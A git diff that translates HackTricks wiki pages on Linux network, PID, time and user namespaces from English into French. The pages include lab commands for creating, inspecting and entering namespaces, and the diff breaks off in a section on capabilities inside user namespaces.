Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()`, ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWNET`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser la configuration réseau et les interfaces associées à cet espace de noms. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents espaces de noms #### CLI - ```bash sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash : fork : Impossible d'allouer de la mémoire -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous : -1. **Problem Explanation**: +1. **Explication du problème** : - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font. +- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans l'espace de noms PID d'origine. +- Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace. -2. **Consequence**: +2. **Conséquence** : - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- La sortie de PID 1 dans un nouveau namespace entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Solution** : +- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouveau namespace PID. +- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouveau namespace. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouveau namespace, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau namespace PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash # Run ifconfig or ip -a ``` - -### Check which namespace is your process in - +### Vérifiez dans quel espace de noms se trouve votre processus ```bash ls -l /proc/self/ns/net lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]' ``` - -### Find all Network namespaces - +### Trouver tous les espaces de noms réseau ```bash sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:" # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Network namespace - +### Entrer dans un espace de noms réseau ```bash nsenter -n TARGET_PID --pid /bin/bash ``` +Aussi, vous ne pouvez **entrer dans un autre espace de noms de processus que si vous êtes root**. Et vous **ne pouvez pas** **entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/net`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -## References +## Références - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 0d4297366..53a710560 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -2,89 +2,79 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management. +Le namespace PID (Process IDentifier) est une fonctionnalité du noyau Linux qui fournit une isolation des processus en permettant à un groupe de processus d'avoir leur propre ensemble de PIDs uniques, séparés des PIDs dans d'autres namespaces. Cela est particulièrement utile dans la conteneurisation, où l'isolation des processus est essentielle pour la sécurité et la gestion des ressources. -When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces. +Lorsqu'un nouveau namespace PID est créé, le premier processus dans ce namespace se voit attribuer le PID 1. Ce processus devient le processus "init" du nouveau namespace et est responsable de la gestion des autres processus au sein du namespace. Chaque processus subséquent créé dans le namespace aura un PID unique dans ce namespace, et ces PIDs seront indépendants des PIDs dans d'autres namespaces. -From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another. +Du point de vue d'un processus au sein d'un namespace PID, il ne peut voir que les autres processus dans le même namespace. Il n'est pas conscient des processus dans d'autres namespaces, et il ne peut pas interagir avec eux en utilisant des outils de gestion de processus traditionnels (par exemple, `kill`, `wait`, etc.). Cela fournit un niveau d'isolation qui aide à empêcher les processus de s'interférer les uns avec les autres. -### How it works: +### Comment ça fonctionne : -1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**. -2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces. -3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace. -4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up. +1. Lorsqu'un nouveau processus est créé (par exemple, en utilisant l'appel système `clone()`), le processus peut être assigné à un nouveau namespace PID ou à un namespace existant. **Si un nouveau namespace est créé, le processus devient le processus "init" de ce namespace**. +2. Le **noyau** maintient une **correspondance entre les PIDs dans le nouveau namespace et les PIDs correspondants** dans le namespace parent (c'est-à-dire le namespace à partir duquel le nouveau namespace a été créé). Cette correspondance **permet au noyau de traduire les PIDs lorsque cela est nécessaire**, par exemple lors de l'envoi de signaux entre des processus dans différents namespaces. +3. **Les processus au sein d'un namespace PID ne peuvent voir et interagir qu'avec d'autres processus dans le même namespace**. Ils ne sont pas conscients des processus dans d'autres namespaces, et leurs PIDs sont uniques dans leur namespace. +4. Lorsqu'un **namespace PID est détruit** (par exemple, lorsque le processus "init" du namespace se termine), **tous les processus au sein de ce namespace sont terminés**. Cela garantit que toutes les ressources associées au namespace sont correctement nettoyées. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents Namespaces #### CLI - ```bash sudo unshare -pf --mount-proc /bin/bash ``` -
-Error: bash: fork: Cannot allocate memory +Erreur : bash : fork : Impossible d'allouer de la mémoire -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux espaces de noms PID (Process ID). Les détails clés et la solution sont décrits ci-dessous : -1. **Problem Explanation**: +1. **Explication du problème** : - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Le noyau Linux permet à un processus de créer de nouveaux espaces de noms en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouvel espace de noms PID (appelé le processus "unshare") n'entre pas dans le nouvel espace de noms ; seuls ses processus enfants le font. +- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans l'espace de noms PID d'origine. +- Le premier processus enfant de `/bin/bash` dans le nouvel espace de noms devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage de l'espace de noms s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans cet espace de noms. -2. **Consequence**: +2. **Conséquence** : - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- La sortie de PID 1 dans un nouvel espace de noms entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Solution** : +- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouvel espace de noms PID. +- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouvel espace de noms. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouvel espace de noms, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouvel espace de noms PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
-By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à cet espace de noms**. #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace are your process in - +### Vérifiez dans quel espace de noms se trouve votre processus ```bash ls -l /proc/self/ns/pid lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ``` - -### Find all PID namespaces - +### Trouver tous les espaces de noms PID ```bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u ``` +Notez que l'utilisateur root du namespace PID initial (par défaut) peut voir tous les processus, même ceux dans de nouveaux espaces de noms PID, c'est pourquoi nous pouvons voir tous les espaces de noms PID. -Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces. - -### Enter inside a PID namespace - +### Entrer dans un espace de noms PID ```bash nsenter -t TARGET_PID --pid /bin/bash ``` +Lorsque vous entrez dans un espace de noms PID à partir de l'espace de noms par défaut, vous pourrez toujours voir tous les processus. Et le processus de cet espace de noms PID pourra voir le nouveau bash dans l'espace de noms PID. -When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns. +De plus, vous ne pouvez **entrer dans un autre espace de noms PID de processus que si vous êtes root**. Et vous **ne pouvez pas** **entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/pid`) -Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`) - -## References +## Références - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 5d2201886..1f1b2398a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -1,72 +1,62 @@ -# Time Namespace +# Espace de Temps {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de Base -The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot. +L'espace de temps dans Linux permet des décalages par espace de noms pour les horloges monotoniques et de démarrage du système. Il est couramment utilisé dans les conteneurs Linux pour changer la date/heure à l'intérieur d'un conteneur et ajuster les horloges après la restauration d'un point de contrôle ou d'un instantané. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents Espaces de Noms #### CLI - ```bash sudo unshare -T [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash : fork : Impossible d'allouer de la mémoire -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous : -1. **Problem Explanation**: +1. **Explication du problème** : - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font. +- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans l'espace de noms PID d'origine. +- Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace. -2. **Consequence**: +2. **Conséquence** : - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- La sortie de PID 1 dans un nouveau namespace entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Solution** : +- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouveau namespace PID. +- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouveau namespace. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouveau namespace, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau namespace PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Vérifiez dans quel espace de noms se trouve votre processus ```bash ls -l /proc/self/ns/time lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]' ``` - -### Find all Time namespaces - +### Trouver tous les espaces de noms temporels ```bash sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Time namespace - +### Entrez dans un espace de noms temporel ```bash nsenter -T TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 88d39ccc6..c5a58a296 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -1,103 +1,88 @@ -# User Namespace +# Espace Utilisateur {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de Base -A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically. +Un espace utilisateur est une fonctionnalité du noyau Linux qui **fournit une isolation des mappages d'ID utilisateur et de groupe**, permettant à chaque espace utilisateur d'avoir son **propre ensemble d'ID utilisateur et de groupe**. Cette isolation permet aux processus s'exécutant dans différents espaces utilisateurs d'**avoir des privilèges et une propriété différents**, même s'ils partagent les mêmes ID utilisateur et de groupe numériquement. -User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system. +Les espaces utilisateurs sont particulièrement utiles dans la conteneurisation, où chaque conteneur doit avoir son propre ensemble indépendant d'ID utilisateur et de groupe, permettant une meilleure sécurité et isolation entre les conteneurs et le système hôte. -### How it works: +### Comment ça fonctionne : -1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**. -2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace. -3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**. -4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace. +1. Lorsqu'un nouvel espace utilisateur est créé, il **commence avec un ensemble vide de mappages d'ID utilisateur et de groupe**. Cela signifie que tout processus s'exécutant dans le nouvel espace utilisateur **n'a initialement aucun privilège en dehors de l'espace**. +2. Des mappages d'ID peuvent être établis entre les ID utilisateur et de groupe dans le nouvel espace et ceux dans l'espace parent (ou hôte). Cela **permet aux processus dans le nouvel espace d'avoir des privilèges et une propriété correspondant aux ID utilisateur et de groupe dans l'espace parent**. Cependant, les mappages d'ID peuvent être restreints à des plages et sous-ensembles spécifiques d'ID, permettant un contrôle précis sur les privilèges accordés aux processus dans le nouvel espace. +3. Dans un espace utilisateur, **les processus peuvent avoir des privilèges root complets (UID 0) pour les opérations à l'intérieur de l'espace**, tout en ayant des privilèges limités en dehors de l'espace. Cela permet **aux conteneurs de fonctionner avec des capacités similaires à celles de root dans leur propre espace sans avoir de privilèges root complets sur le système hôte**. +4. Les processus peuvent se déplacer entre les espaces en utilisant l'appel système `setns()` ou créer de nouveaux espaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUSER`. Lorsqu'un processus se déplace vers un nouvel espace ou en crée un, il commencera à utiliser les mappages d'ID utilisateur et de groupe associés à cet espace. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents Espaces #### CLI - ```bash sudo unshare -U [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash : fork : Impossible d'allouer de la mémoire -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous : -1. **Problem Explanation**: +1. **Explication du problème** : - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font. +- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans l'espace de noms PID d'origine. +- Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace. -2. **Consequence**: +2. **Conséquence** : - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- La sortie de PID 1 dans un nouveau namespace entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Solution** : +- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouveau namespace PID. +- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouveau namespace. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouveau namespace, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau namespace PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +Pour utiliser l'espace de noms utilisateur, le démon Docker doit être démarré avec **`--userns-remap=default`** (Dans Ubuntu 14.04, cela peut être fait en modifiant `/etc/default/docker` puis en exécutant `sudo service docker restart`) -To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`) - -### Check which namespace is your process in - +### Vérifiez dans quel espace de noms se trouve votre processus ```bash ls -l /proc/self/ns/user lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]' ``` - -It's possible to check the user map from the docker container with: - +Il est possible de vérifier la carte des utilisateurs depuis le conteneur docker avec : ```bash cat /proc/self/uid_map - 0 0 4294967295 --> Root is root in host - 0 231072 65536 --> Root is 231072 userid in host +0 0 4294967295 --> Root is root in host +0 231072 65536 --> Root is 231072 userid in host ``` - -Or from the host with: - +Ou depuis l'hôte avec : ```bash cat /proc//uid_map ``` - -### Find all User namespaces - +### Trouver tous les espaces de noms utilisateur ```bash sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a User namespace - +### Entrez dans un espace de noms utilisateur ```bash nsenter -U TARGET_PID --pid /bin/bash ``` +Aussi, vous ne pouvez **entrer dans un autre espace de noms de processus que si vous êtes root**. Et vous **ne pouvez pas** **entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/user`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`). - -### Create new User namespace (with mappings) - +### Créer un nouvel espace de noms utilisateur (avec des mappages) ```bash unshare -U [--map-user=|] [--map-group=|] [--map-root-user] [--map-current-user] ``` @@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody ps -ef | grep bash # The user inside the host is still root, not nobody root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash ``` +### Récupération des capacités -### Recovering Capabilities +Dans le cas des espaces de noms utilisateurs, **lorsqu'un nouvel espace de noms utilisateur est créé, le processus qui entre dans l'espace de noms se voit accorder un ensemble complet de capacités au sein de cet espace de noms**. Ces capacités permettent au processus d'effectuer des opérations privilégiées telles que **le montage** **de systèmes de fichiers**, la création de périphériques ou le changement de propriété des fichiers, mais **uniquement dans le contexte de son espace de noms utilisateur**. -In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**. - -For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces. +Par exemple, lorsque vous avez la capacité `CAP_SYS_ADMIN` au sein d'un espace de noms utilisateur, vous pouvez effectuer des opérations 